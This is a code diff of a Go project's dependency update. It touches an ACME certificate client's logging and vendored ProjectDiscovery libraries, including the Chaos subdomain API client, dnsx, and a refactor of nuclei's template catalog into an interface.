    61 61   // Map of solvers keyed by name of the challenge type.
    62 62   ChallengeSolvers map[string]Solver
    63  - 
    64  - // An optional logger. Default: no logs
    65  - Logger *zap.Logger
    66 63  }
    67 64   
    68 65  // ObtainCertificateUsingCSR obtains all resulting certificate chains using the given CSR, which
    skipped 1 lines
    70 67  // usually involves creating a template CSR, then calling x509.CreateCertificateRequest, then
    71 68  // x509.ParseCertificateRequest on the output). The Subject CommonName is NOT considered.
    72 69  //
    73  -// It implements every single part of the ACME flow described in RFC 8555 §7.1 with the exception
    74  -// of "Create account" because this method signature does not have a way to return the udpated
     70 +// It implements every single part of the ACME flow described in RFC 8555 7.1 with the exception
     71 +// of "Create account" because this method signature does not have a way to return the updated
    75 72  // account object. The account's status MUST be "valid" in order to succeed.
    76 73  //
    77 74  // As far as SANs go, this method currently only supports DNSNames and IPAddresses on the csr.
    skipped 8 lines
    86 83   var ids []acme.Identifier
    87 84   for _, name := range csr.DNSNames {
    88 85   ids = append(ids, acme.Identifier{
    89  - Type: "dns", // RFC 8555 §9.7.7
     86 + Type: "dns", // RFC 8555 9.7.7
    90 87   Value: name,
    91 88   })
    92 89   }
    skipped 120 lines
    213 210   } else {
    214 211   // "The domain name MUST be encoded in the form in which it would appear
    215 212   // in a certificate. That is, it MUST be encoded according to the rules
    216  - // in Section 7 of [RFC5280]." §7.1.4
     213 + // in Section 7 of [RFC5280]." 7.1.4
    217 214   normalizedName, err := idna.ToASCII(name)
    218 215   if err != nil {
    219 216   return nil, fmt.Errorf("converting identifier '%s' to ASCII: %v", name, err)
    skipped 120 lines
    340 337   // present for all challenges first; this allows them all to begin any
    341 338   // slow tasks up front if necessary before we start polling/waiting
    342 339   for _, authz := range authzStates {
    343  - // see §7.1.6 for state transitions
     340 + // see 7.1.6 for state transitions
    344 341   if authz.Status != acme.StatusPending && authz.Status != acme.StatusValid {
    345 342   return fmt.Errorf("authz %s has unexpected status; order will fail: %s", authz.Location, authz.Status)
    346 343   }
    skipped 60 lines
    407 404   
    408 405  func (c *Client) initiateCurrentChallenge(ctx context.Context, authz *authzState) error {
    409 406   if authz.Status != acme.StatusPending {
     407 + if c.Logger != nil {
     408 + c.Logger.Debug("skipping challenge initiation because authorization is not pending",
     409 + zap.String("identifier", authz.IdentifierValue()),
     410 + zap.String("authz_status", authz.Status))
     411 + }
    410 412   return nil
    411 413   }
    412 414   
    skipped 3 lines
    416 418   // that's probably OK, since we can't finalize the order until the slow
    417 419   // challenges are done too)
    418 420   if waiter, ok := authz.currentSolver.(Waiter); ok {
     421 + if c.Logger != nil {
     422 + c.Logger.Debug("waiting for solver before continuing",
     423 + zap.String("identifier", authz.IdentifierValue()),
     424 + zap.String("challenge_type", authz.currentChallenge.Type))
     425 + }
    419 426   err := waiter.Wait(ctx, authz.currentChallenge)
     427 + if c.Logger != nil {
     428 + c.Logger.Debug("done waiting for solver",
     429 + zap.String("identifier", authz.IdentifierValue()),
     430 + zap.String("challenge_type", authz.currentChallenge.Type))
     431 + }
    420 432   if err != nil {
    421 433   return fmt.Errorf("waiting for solver %T to be ready: %w", authz.currentSolver, err)
    422 434   }
    skipped 45 lines
    468 480  }
    469 481   
    470 482  func (c *Client) pollAuthorization(ctx context.Context, account acme.Account, authz *authzState, failedChallengeTypes failedChallengeMap) error {
    471  - // In §7.5.1, the spec says:
     483 + // In 7.5.1, the spec says:
    472 484   //
    473 485   // "For challenges where the client can tell when the server has
    474 486   // validated the challenge (e.g., by seeing an HTTP or DNS request
    skipped 24 lines
    499 511   c.Logger.Error("cleaning up solver",
    500 512   zap.String("identifier", authz.IdentifierValue()),
    501 513   zap.String("challenge_type", authz.currentChallenge.Type),
    502  - zap.Error(err))
     514 + zap.Error(cleanupErr))
    503 515   }
    504 516   authz.currentSolver = nil // avoid cleaning it up again later
    505 517   }
    skipped 25 lines
    531 543   }
    532 544   return fmt.Errorf("[%s] %w", authz.Authorization.IdentifierValue(), err)
    533 545   }
     546 + 
     547 + if c.Logger != nil {
     548 + c.Logger.Info("authorization finalized",
     549 + zap.String("identifier", authz.IdentifierValue()),
     550 + zap.String("authz_status", authz.Status))
     551 + }
     552 + 
    534 553   return nil
    535 554  }
    536 555   
    skipped 143 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/blackrock/LICENSE.md
     1 +MIT License
     2 + 
     3 +Copyright (c) 2021 ProjectDiscovery
     4 + 
     5 +Permission is hereby granted, free of charge, to any person obtaining a copy
     6 +of this software and associated documentation files (the "Software"), to deal
     7 +in the Software without restriction, including without limitation the rights
     8 +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
     9 +copies of the Software, and to permit persons to whom the Software is
     10 +furnished to do so, subject to the following conditions:
     11 + 
     12 +The above copyright notice and this permission notice shall be included in all
     13 +copies or substantial portions of the Software.
     14 + 
     15 +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
     16 +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
     17 +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
     18 +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
     19 +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
     20 +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
     21 +SOFTWARE.
     22 + 
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/blackrock/README.md
     1 +# blackrock
     2 +blackrock cipher based on masscan
     3 + 
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/chaos-client/pkg/chaos/chaos.go
    skipped 1 lines
    2 2   
    3 3  import (
    4 4   "bufio"
    5  - "crypto/tls"
    6 5   "encoding/json"
    7 6   "fmt"
    8 7   "io"
    9 8   "io/ioutil"
    10 9   "net/http"
    11  - "time"
     10 + "strings"
    12 11   
    13 12   jsoniter "github.com/json-iterator/go"
    14 13   "github.com/pkg/errors"
     14 + pdhttputil "github.com/projectdiscovery/httputil"
     15 + "github.com/projectdiscovery/retryablehttp-go"
    15 16  )
    16 17   
    17 18  // Client is a client for making requests to chaos API
    18 19  type Client struct {
    19 20   apiKey string
    20  - httpClient *http.Client
     21 + httpClient *retryablehttp.Client
    21 22  }
    22 23   
    23 24  // New creates a new client for chaos API communication
    24 25  func New(apiKey string) *Client {
    25  - httpclient := &http.Client{
    26  - Transport: &http.Transport{
    27  - MaxIdleConnsPerHost: 100,
    28  - MaxIdleConns: 100,
    29  - TLSClientConfig: &tls.Config{
    30  - InsecureSkipVerify: true,
    31  - },
    32  - },
    33  - Timeout: time.Duration(600) * time.Second, // 10 minutes - uploads may take long
    34  - }
     26 + httpclient := retryablehttp.NewClient(retryablehttp.DefaultOptionsSingle)
    35 27   return &Client{httpClient: httpclient, apiKey: apiKey}
    36 28  }
    37 29   
    skipped 9 lines
    47 39   
    48 40  // GetStatistics returns the statistics for a given domain.
    49 41  func (c *Client) GetStatistics(req *GetStatisticsRequest) (*GetStatisticsResponse, error) {
    50  - request, err := http.NewRequest("GET", fmt.Sprintf("https://dns.projectdiscovery.io/dns/%s", req.Domain), nil)
     42 + request, err := retryablehttp.NewRequest(http.MethodGet, fmt.Sprintf("https://dns.projectdiscovery.io/dns/%s", req.Domain), nil)
    51 43   if err != nil {
    52 44   return nil, errors.Wrap(err, "could not create request.")
    53 45   }
    skipped 9 lines
    63 55   if err != nil {
    64 56   return nil, errors.Wrap(err, "could not read response.")
    65 57   }
    66  - return nil, fmt.Errorf("Invalid status code received: %d - %s", resp.StatusCode, string(body))
     58 + return nil, fmt.Errorf("invalid status code received: %d - %s", resp.StatusCode, string(body))
    67 59   }
     60 + 
     61 + defer pdhttputil.DrainResponseBody(resp)
    68 62   
    69 63   response := GetStatisticsResponse{}
    70 64   err = jsoniter.NewDecoder(resp.Body).Decode(&response)
    71 65   if err != nil {
    72 66   return nil, errors.Wrap(err, "could not unmarshal results.")
    73 67   }
     68 + 
    74 69   return &response, nil
    75 70  }
    76 71   
    skipped 16 lines
    93 88   go func(results chan *Result) {
    94 89   defer close(results)
    95 90   
    96  - request, err := http.NewRequest("GET", fmt.Sprintf("https://dns.projectdiscovery.io/dns/%s/subdomains", req.Domain), nil)
     91 + request, err := retryablehttp.NewRequest(http.MethodGet, fmt.Sprintf("https://dns.projectdiscovery.io/dns/%s/subdomains", req.Domain), nil)
    97 92   if err != nil {
    98 93   results <- &Result{Error: errors.Wrap(err, "could not create request.")}
    99 94   return
    skipped 12 lines
    112 107   results <- &Result{Error: errors.Wrap(err, "could not read response.")}
    113 108   return
    114 109   }
    115  - results <- &Result{Error: fmt.Errorf("Invalid status code received: %d - %s", resp.StatusCode, string(body))}
     110 + pdhttputil.DrainResponseBody(resp)
     111 + results <- &Result{Error: fmt.Errorf("invalid status code received: %d - %s", resp.StatusCode, string(body))}
    116 112   return
    117 113   }
    118 114   
    skipped 1 lines
    120 116   case "json":
    121 117   results <- &Result{Reader: &resp.Body}
    122 118   default:
     119 + defer pdhttputil.DrainResponseBody(resp)
    123 120   d := json.NewDecoder(resp.Body)
    124  - d.Token()
    125  - // first 4 token should be skipped
    126  - skip := 0
     121 + if !checkToken(d, "{") {
     122 + return
     123 + }
     124 + if !checkToken(d, "domain") {
     125 + return
     126 + }
     127 + if !checkToken(d, req.Domain) {
     128 + return
     129 + }
     130 + if !checkToken(d, "subdomains") {
     131 + return
     132 + }
     133 + if !checkToken(d, "[") {
     134 + return
     135 + }
     136 + 
    127 137   for d.More() {
    128  - token, _ := d.Token()
    129  - skip++
    130  - if skip <= 4 {
    131  - continue
     138 + // process all the tokens within the list
     139 + token, err := d.Token()
     140 + if token == nil || err != nil {
     141 + break
    132 142   }
    133 143   results <- &Result{Subdomain: fmt.Sprintf("%s", token)}
    134 144   }
    135  - d.Token()
    136 145   }
    137 146   }(results)
    138 147   
    139 148   return results
    140 149  }
    141 150   
     151 +func checkToken(d *json.Decoder, value string) bool {
     152 + token, err := d.Token()
     153 + return strings.EqualFold(fmt.Sprint(token), value) && err == nil
     154 +}
     155 + 
    142 156  type BBQData struct {
    143 157   Domain string `json:"domain"`
    144 158   Subdomain string `json:"subdomain"`
    skipped 22 lines
    167 181   go func(results chan *BBQResult) {
    168 182   defer close(results)
    169 183   
    170  - request, err := http.NewRequest("GET", fmt.Sprintf("https://dns.projectdiscovery.io/dns/%s/public-recon-data", req.Domain), nil)
     184 + request, err := retryablehttp.NewRequest(http.MethodGet, fmt.Sprintf("https://dns.projectdiscovery.io/dns/%s/public-recon-data", req.Domain), nil)
    171 185   if err != nil {
    172 186   results <- &BBQResult{Error: errors.Wrap(err, "could not create request.")}
    173 187   return
    skipped 12 lines
    186 200   results <- &BBQResult{Error: errors.Wrap(err, "could not read response.")}
    187 201   return
    188 202   }
    189  - results <- &BBQResult{Error: fmt.Errorf("Invalid status code received: %d - %s", resp.StatusCode, string(body))}
     203 + pdhttputil.DrainResponseBody(resp)
     204 + results <- &BBQResult{Error: fmt.Errorf("invalid status code received: %d - %s", resp.StatusCode, string(body))}
    190 205   return
    191 206   }
    192 207   
    skipped 1 lines
    194 209   case "json":
    195 210   results <- &BBQResult{Reader: &resp.Body}
    196 211   default:
     212 + defer pdhttputil.DrainResponseBody(resp)
    197 213   scanner := bufio.NewScanner(resp.Body)
    198  - const maxCapacity = 1024*1024
     214 + const maxCapacity = 1024 * 1024
    199 215   buf := make([]byte, maxCapacity)
    200 216   scanner.Buffer(buf, maxCapacity)
    201 217   for scanner.Scan() {
    skipped 16 lines
    218 234   
    219 235  // PutSubdomains uploads the subdomains to Chaos API.
    220 236  func (c *Client) PutSubdomains(req *PutSubdomainsRequest) (*PutSubdomainsResponse, error) {
    221  - request, err := http.NewRequest("POST", "https://dns.projectdiscovery.io/dns/add", req.Contents)
     237 + request, err := retryablehttp.NewRequest(http.MethodPost, "https://dns.projectdiscovery.io/dns/add", req.Contents)
    222 238   if err != nil {
    223 239   return nil, errors.Wrap(err, "could not create request.")
    224 240   }
    skipped 10 lines
    235 251   if err != nil {
    236 252   return nil, errors.Wrap(err, "could not read response.")
    237 253   }
    238  - return nil, fmt.Errorf("Invalid status code received: %d - %s", resp.StatusCode, string(body))
     254 + return nil, fmt.Errorf("invalid status code received: %d - %s", resp.StatusCode, string(body))
    239 255   }
    240  - io.Copy(ioutil.Discard, resp.Body)
     256 + _, _ = io.Copy(ioutil.Discard, resp.Body)
    241 257   return &PutSubdomainsResponse{}, nil
    242 258  }
    243 259   
  • ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/dnsx/libs/dnsx/dnsx.go
    skipped 50 lines
    51 51   }
    52 52   
    53 53   dnsClient := retryabledns.NewWithOptions(retryablednsOptions)
     54 + dnsClient.TCPFallback = true
    54 55   
    55 56   return &DNSX{dnsClient: dnsClient, Options: &options}, nil
    56 57  }
    skipped 34 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/httputil/httputil.go
    skipped 1 lines
    2 2   
    3 3  import (
    4 4   "fmt"
     5 + "io"
    5 6   "net/http"
    6 7   "net/http/httputil"
    7 8  )
    skipped 38 lines
    46 47   return
    47 48  }
    48 49   
     50 +// DrainResponseBody drains and closes the response body
     51 +func DrainResponseBody(resp *http.Response) {
     52 + if resp.Body != http.NoBody && resp.Body != nil {
     53 + io.Copy(io.Discard, resp.Body)
     54 + resp.Body.Close()
     55 + }
     56 +}
     57 + 
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/catalogue.go
    1 1  package catalog
    2 2   
    3  -// Catalog is a template catalog helper implementation
    4  -type Catalog struct {
    5  - templatesDirectory string
    6  -}
     3 +import "io"
    7 4   
    8  -// New creates a new Catalog structure using provided input items
    9  -func New(directory string) *Catalog {
    10  - catalog := &Catalog{templatesDirectory: directory}
    11  - return catalog
     5 +// Catalog is a catalog storage implementations
     6 +type Catalog interface {
     7 + // OpenFile opens a file and returns an io.ReadCloser to the file.
     8 + // It is used to read template and payload files based on catalog responses.
     9 + OpenFile(filename string) (io.ReadCloser, error)
     10 + // GetTemplatePath parses the specified input template path and returns a compiled
     11 + // list of finished absolute paths to the templates evaluating any glob patterns
     12 + // or folders provided as in.
     13 + GetTemplatePath(target string) ([]string, error)
     14 + // GetTemplatesPath returns a list of absolute paths for the provided template list.
     15 + GetTemplatesPath(definitions []string) []string
     16 + // ResolvePath resolves the path to an absolute one in various ways.
     17 + //
     18 + // It checks if the filename is an absolute path, looks in the current directory
     19 + // or checking the nuclei templates directory. If a second path is given,
     20 + // it also tries to find paths relative to that second path.
     21 + ResolvePath(templateName, second string) (string, error)
    12 22  }
    13 23   
  • ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/config/config.go
    skipped 27 lines
    28 28  const nucleiConfigFilename = ".templates-config.json"
    29 29   
    30 30  // Version is the current version of nuclei
    31  -const Version = `2.7.5`
     31 +const Version = `2.7.6`
    32 32   
    33 33  func getConfigDetails() (string, error) {
    34 34   configDir, err := GetConfigDir()
    skipped 130 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk/catalog.go
     1 +package disk
     2 + 
     3 +import (
     4 + "io"
     5 + "os"
     6 +)
     7 + 
     8 +// DiskCatalog is a template catalog helper implementation based on disk
     9 +type DiskCatalog struct {
     10 + templatesDirectory string
     11 +}
     12 + 
     13 +// NewCatalog creates a new Catalog structure using provided input items
     14 +// using disk based items
     15 +func NewCatalog(directory string) *DiskCatalog {
     16 + catalog := &DiskCatalog{templatesDirectory: directory}
     17 + return catalog
     18 +}
     19 + 
     20 +// OpenFile opens a file and returns an io.ReadCloser to the file.
     21 +// It is used to read template and payload files based on catalog responses.
     22 +func (d *DiskCatalog) OpenFile(filename string) (io.ReadCloser, error) {
     23 + file, err := os.Open(filename)
     24 + return file, err
     25 +}
     26 + 
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/find.go vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk/find.go
    1  -package catalog
     1 +package disk
    2 2   
    3 3  import (
    4 4   "io/fs"
    skipped 2 lines
    7 7   "strings"
    8 8   
    9 9   "github.com/pkg/errors"
    10  - 
    11 10   "github.com/projectdiscovery/gologger"
    12 11  )
    13 12   
    14 13  // GetTemplatesPath returns a list of absolute paths for the provided template list.
    15  -func (c *Catalog) GetTemplatesPath(definitions []string) []string {
     14 +func (c *DiskCatalog) GetTemplatesPath(definitions []string) []string {
    16 15   // keeps track of processed dirs and files
    17 16   processed := make(map[string]bool)
    18 17   allTemplates := []string{}
    skipped 23 lines
    42 41  // GetTemplatePath parses the specified input template path and returns a compiled
    43 42  // list of finished absolute paths to the templates evaluating any glob patterns
    44 43  // or folders provided as in.
    45  -func (c *Catalog) GetTemplatePath(target string) ([]string, error) {
     44 +func (c *DiskCatalog) GetTemplatePath(target string) ([]string, error) {
    46 45   processed := make(map[string]struct{})
    47 46   
    48 47   absPath, err := c.convertPathToAbsolute(target)
    skipped 39 lines
    88 87   
    89 88  // convertPathToAbsolute resolves the paths provided to absolute paths
    90 89  // before doing any operations on them regardless of them being BLOB, folders, files, etc.
    91  -func (c *Catalog) convertPathToAbsolute(t string) (string, error) {
     90 +func (c *DiskCatalog) convertPathToAbsolute(t string) (string, error) {
    92 91   if strings.Contains(t, "*") {
    93 92   file := filepath.Base(t)
    94 93   absPath, err := c.ResolvePath(filepath.Dir(t), "")
    skipped 6 lines
    101 100  }
    102 101   
    103 102  // findGlobPathMatches returns the matched files from a glob path
    104  -func (c *Catalog) findGlobPathMatches(absPath string, processed map[string]struct{}) ([]string, error) {
     103 +func (c *DiskCatalog) findGlobPathMatches(absPath string, processed map[string]struct{}) ([]string, error) {
    105 104   matches, err := filepath.Glob(absPath)
    106 105   if err != nil {
    107 106   return nil, errors.Errorf("wildcard found, but unable to glob: %s\n", err)
    skipped 10 lines
    118 117   
    119 118  // findFileMatches finds if a path is an absolute file. If the path
    120 119  // is a file, it returns true otherwise false with no errors.
    121  -func (c *Catalog) findFileMatches(absPath string, processed map[string]struct{}) (match string, matched bool, err error) {
     120 +func (c *DiskCatalog) findFileMatches(absPath string, processed map[string]struct{}) (match string, matched bool, err error) {
    122 121   info, err := os.Stat(absPath)
    123 122   if err != nil {
    124 123   return "", false, err
    skipped 9 lines
    134 133  }
    135 134   
    136 135  // findDirectoryMatches finds matches for templates from a directory
    137  -func (c *Catalog) findDirectoryMatches(absPath string, processed map[string]struct{}) ([]string, error) {
     136 +func (c *DiskCatalog) findDirectoryMatches(absPath string, processed map[string]struct{}) ([]string, error) {
    138 137   var results []string
    139 138   err := filepath.WalkDir(
    140 139   absPath,
    skipped 17 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/path.go vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk/path.go
    1  -package catalog
     1 +package disk
    2 2   
    3 3  import (
    4 4   "fmt"
    skipped 10 lines
    15 15  // It checks if the filename is an absolute path, looks in the current directory
    16 16  // or checking the nuclei templates directory. If a second path is given,
    17 17  // it also tries to find paths relative to that second path.
    18  -func (c *Catalog) ResolvePath(templateName, second string) (string, error) {
     18 +func (c *DiskCatalog) ResolvePath(templateName, second string) (string, error) {
    19 19   if filepath.IsAbs(templateName) {
    20 20   return templateName, nil
    21 21   }
    skipped 26 lines
    48 48  var errNoValidCombination = errors.New("no valid combination found")
    49 49   
    50 50  // tryResolve attempts to load locate the target by iterating across all the folders tree
    51  -func (c *Catalog) tryResolve(fullPath string) (string, error) {
     51 +func (c *DiskCatalog) tryResolve(fullPath string) (string, error) {
    52 52   dir, filename := filepath.Split(fullPath)
    53 53   pathInfo, err := folderutil.NewPathInfo(dir)
    54 54   if err != nil {
    skipped 15 lines
  • ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/filter/path_filter.go
    skipped 14 lines
    15 15  }
    16 16   
    17 17  // NewPathFilter creates a new path filter from provided config
    18  -func NewPathFilter(config *PathFilterConfig, catalogClient *catalog.Catalog) *PathFilter {
     18 +func NewPathFilter(config *PathFilterConfig, catalogClient catalog.Catalog) *PathFilter {
    19 19   filter := &PathFilter{
    20 20   excludedTemplates: catalogClient.GetTemplatesPath(config.ExcludedTemplates),
    21 21   alwaysIncludedTemplatesMap: make(map[string]struct{}),
    skipped 31 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/loader.go
    skipped 38 lines
    39 39   IncludeIds []string
    40 40   ExcludeIds []string
    41 41   
    42  - Catalog *catalog.Catalog
     42 + Catalog catalog.Catalog
    43 43   ExecutorOptions protocols.ExecuterOptions
    44 44   TemplatesDirectory string
    45 45  }
    skipped 13 lines
    59 59  }
    60 60   
    61 61  // NewConfig returns a new loader config
    62  -func NewConfig(options *types.Options, templateConfig *config.Config, catalog *catalog.Catalog, executerOpts protocols.ExecuterOptions) *Config {
     62 +func NewConfig(options *types.Options, templateConfig *config.Config, catalog catalog.Catalog, executerOpts protocols.ExecuterOptions) *Config {
    63 63   loaderConfig := Config{
    64 64   Templates: options.Templates,
    65 65   Workflows: options.Workflows,
    skipped 114 lines
    180 180   
    181 181  func areWorkflowsValid(store *Store, filteredWorkflowPaths map[string]struct{}) bool {
    182 182   return areWorkflowOrTemplatesValid(store, filteredWorkflowPaths, true, func(templatePath string, tagFilter *filter.TagFilter) (bool, error) {
    183  - return parsers.LoadWorkflow(templatePath)
     183 + return parsers.LoadWorkflow(templatePath, store.config.Catalog)
    184 184   })
    185 185  }
    186 186   
    187 187  func areTemplatesValid(store *Store, filteredTemplatePaths map[string]struct{}) bool {
    188 188   return areWorkflowOrTemplatesValid(store, filteredTemplatePaths, false, func(templatePath string, tagFilter *filter.TagFilter) (bool, error) {
    189  - return parsers.LoadTemplate(templatePath, store.tagFilter, nil)
     189 + return parsers.LoadTemplate(templatePath, store.tagFilter, nil, store.config.Catalog)
    190 190   })
    191 191  }
    192 192   
    skipped 67 lines
    260 260   
    261 261   loadedTemplates := make([]*templates.Template, 0, len(templatePathMap))
    262 262   for templatePath := range templatePathMap {
    263  - loaded, err := parsers.LoadTemplate(templatePath, store.tagFilter, nil)
     263 + loaded, err := parsers.LoadTemplate(templatePath, store.tagFilter, nil, store.config.Catalog)
    264 264   if loaded || store.pathFilter.MatchIncluded(templatePath) {
    265 265   parsed, err := templates.Parse(templatePath, store.preprocessor, store.config.ExecutorOptions)
    266 266   if err != nil {
    skipped 16 lines
    283 283   
    284 284   loadedWorkflows := make([]*templates.Template, 0, len(workflowPathMap))
    285 285   for workflowPath := range workflowPathMap {
    286  - loaded, err := parsers.LoadWorkflow(workflowPath)
     286 + loaded, err := parsers.LoadWorkflow(workflowPath, store.config.Catalog)
    287 287   if err != nil {
    288 288   gologger.Warning().Msgf("Could not load workflow %s: %s\n", workflowPath, err)
    289 289   }
    skipped 17 lines
    307 307   
    308 308   loadedTemplates := make([]*templates.Template, 0, len(templatePathMap))
    309 309   for templatePath := range templatePathMap {
    310  - loaded, err := parsers.LoadTemplate(templatePath, store.tagFilter, tags)
     310 + loaded, err := parsers.LoadTemplate(templatePath, store.tagFilter, tags, store.config.Catalog)
    311 311   if loaded || store.pathFilter.MatchIncluded(templatePath) {
    312 312   parsed, err := templates.Parse(templatePath, store.preprocessor, store.config.ExecutorOptions)
    313 313   if err != nil {
    skipped 12 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/operators/common/dsl/dsl.go
    skipped 245 lines
    246 246   "contains": makeDslFunction(2, func(args ...interface{}) (interface{}, error) {
    247 247   return strings.Contains(types.ToString(args[0]), types.ToString(args[1])), nil
    248 248   }),
     249 + "starts_with": makeDslWithOptionalArgsFunction(
     250 + "(str string, prefix ...string) bool",
     251 + func(args ...interface{}) (interface{}, error) {
     252 + if len(args) < 2 {
     253 + return nil, invalidDslFunctionError
     254 + }
     255 + for _, prefix := range args[1:] {
     256 + if strings.HasPrefix(types.ToString(args[0]), types.ToString(prefix)) {
     257 + return true, nil
     258 + }
     259 + }
     260 + return false, nil
     261 + },
     262 + ),
     263 + "line_starts_with": makeDslWithOptionalArgsFunction(
     264 + "(str string, prefix ...string) bool", func(args ...interface{}) (interface{}, error) {
     265 + if len(args) < 2 {
     266 + return nil, invalidDslFunctionError
     267 + }
     268 + for _, line := range strings.Split(types.ToString(args[0]), "\n") {
     269 + for _, prefix := range args[1:] {
     270 + if strings.HasPrefix(line, types.ToString(prefix)) {
     271 + return true, nil
     272 + }
     273 + }
     274 + }
     275 + return false, nil
     276 + },
     277 + ),
     278 + "ends_with": makeDslWithOptionalArgsFunction(
     279 + "(str string, suffix ...string) bool",
     280 + func(args ...interface{}) (interface{}, error) {
     281 + if len(args) < 2 {
     282 + return nil, invalidDslFunctionError
     283 + }
     284 + for _, suffix := range args[1:] {
     285 + if strings.HasSuffix(types.ToString(args[0]), types.ToString(suffix)) {
     286 + return true, nil
     287 + }
     288 + }
     289 + return false, nil
     290 + },
     291 + ),
     292 + "line_ends_with": makeDslWithOptionalArgsFunction(
     293 + "(str string, suffix ...string) bool", func(args ...interface{}) (interface{}, error) {
     294 + if len(args) < 2 {
     295 + return nil, invalidDslFunctionError
     296 + }
     297 + for _, line := range strings.Split(types.ToString(args[0]), "\n") {
     298 + for _, suffix := range args[1:] {
     299 + if strings.HasSuffix(line, types.ToString(suffix)) {
     300 + return true, nil
     301 + }
     302 + }
     303 + }
     304 + return false, nil
     305 + },
     306 + ),
    249 307   "concat": makeDslWithOptionalArgsFunction(
    250 308   "(args ...interface{}) string",
    251 309   func(arguments ...interface{}) (interface{}, error) {
    skipped 510 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/parsers/parser.go
    skipped 6 lines
    7 7   
    8 8   "gopkg.in/yaml.v2"
    9 9   
     10 + "github.com/projectdiscovery/nuclei/v2/pkg/catalog"
    10 11   "github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader/filter"
    11 12   "github.com/projectdiscovery/nuclei/v2/pkg/model"
    12 13   "github.com/projectdiscovery/nuclei/v2/pkg/templates"
    skipped 9 lines
    22 23  )
    23 24   
    24 25  // LoadTemplate returns true if the template is valid and matches the filtering criteria.
    25  -func LoadTemplate(templatePath string, tagFilter *filter.TagFilter, extraTags []string) (bool, error) {
    26  - template, templateParseError := ParseTemplate(templatePath)
     26 +func LoadTemplate(templatePath string, tagFilter *filter.TagFilter, extraTags []string, catalog catalog.Catalog) (bool, error) {
     27 + template, templateParseError := ParseTemplate(templatePath, catalog)
    27 28   if templateParseError != nil {
    28 29   return false, templateParseError
    29 30   }
    skipped 13 lines
    43 44  }
    44 45   
    45 46  // LoadWorkflow returns true if the workflow is valid and matches the filtering criteria.
    46  -func LoadWorkflow(templatePath string) (bool, error) {
    47  - template, templateParseError := ParseTemplate(templatePath)
     47 +func LoadWorkflow(templatePath string, catalog catalog.Catalog) (bool, error) {
     48 + template, templateParseError := ParseTemplate(templatePath, catalog)
    48 49   if templateParseError != nil {
    49 50   return false, templateParseError
    50 51   }
    skipped 71 lines
    122 123  }
    123 124   
    124 125  // ParseTemplate parses a template and returns a *templates.Template structure
    125  -func ParseTemplate(templatePath string) (*templates.Template, error) {
     126 +func ParseTemplate(templatePath string, catalog catalog.Catalog) (*templates.Template, error) {
    126 127   if value, err := parsedTemplatesCache.Has(templatePath); value != nil {
    127 128   return value.(*templates.Template), err
    128 129   }
    129  - data, err := utils.ReadFromPathOrURL(templatePath)
     130 + data, err := utils.ReadFromPathOrURL(templatePath, catalog)
    130 131   if err != nil {
    131 132   return nil, err
    132 133   }
    skipped 15 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/parsers/workflow_loader.go
    skipped 36 lines
    37 37   
    38 38   loadedTemplates := make([]string, 0, len(templatePathMap))
    39 39   for templatePath := range templatePathMap {
    40  - loaded, err := LoadTemplate(templatePath, w.tagFilter, templateTags)
     40 + loaded, err := LoadTemplate(templatePath, w.tagFilter, templateTags, w.options.Catalog)
    41 41   if err != nil {
    42 42   gologger.Warning().Msgf("Could not load template %s: %s\n", templatePath, err)
    43 43   } else if loaded {
    skipped 9 lines
    53 53   
    54 54   loadedTemplates := make([]string, 0, len(templatesPathMap))
    55 55   for templatePath := range templatesPathMap {
    56  - matched, err := LoadTemplate(templatePath, w.tagFilter, nil)
     56 + matched, err := LoadTemplate(templatePath, w.tagFilter, nil, w.options.Catalog)
    57 57   if err != nil {
    58 58   gologger.Warning().Msgf("Could not load template %s: %s\n", templatePath, err)
    59 59   } else if matched || noValidate {
    skipped 6 lines
  • ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/expressions/variables.go
    skipped 6 lines
    7 7  )
    8 8   
    9 9  var (
    10  - numericalExpressionRegex = regexp.MustCompile(`[0-9+\-*/]+`)
     10 + numericalExpressionRegex = regexp.MustCompile(`^[0-9+\-/\W]+$`)
    11 11   unresolvedVariablesRegex = regexp.MustCompile(`(?:%7[B|b]|\{){2}([^}]+)(?:%7[D|d]|\}){2}["'\)\}]*`)
    12 12  )
    13 13   
    skipped 101 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators/generators.go
    skipped 10 lines
    11 11  // PayloadGenerator is the generator struct for generating payloads
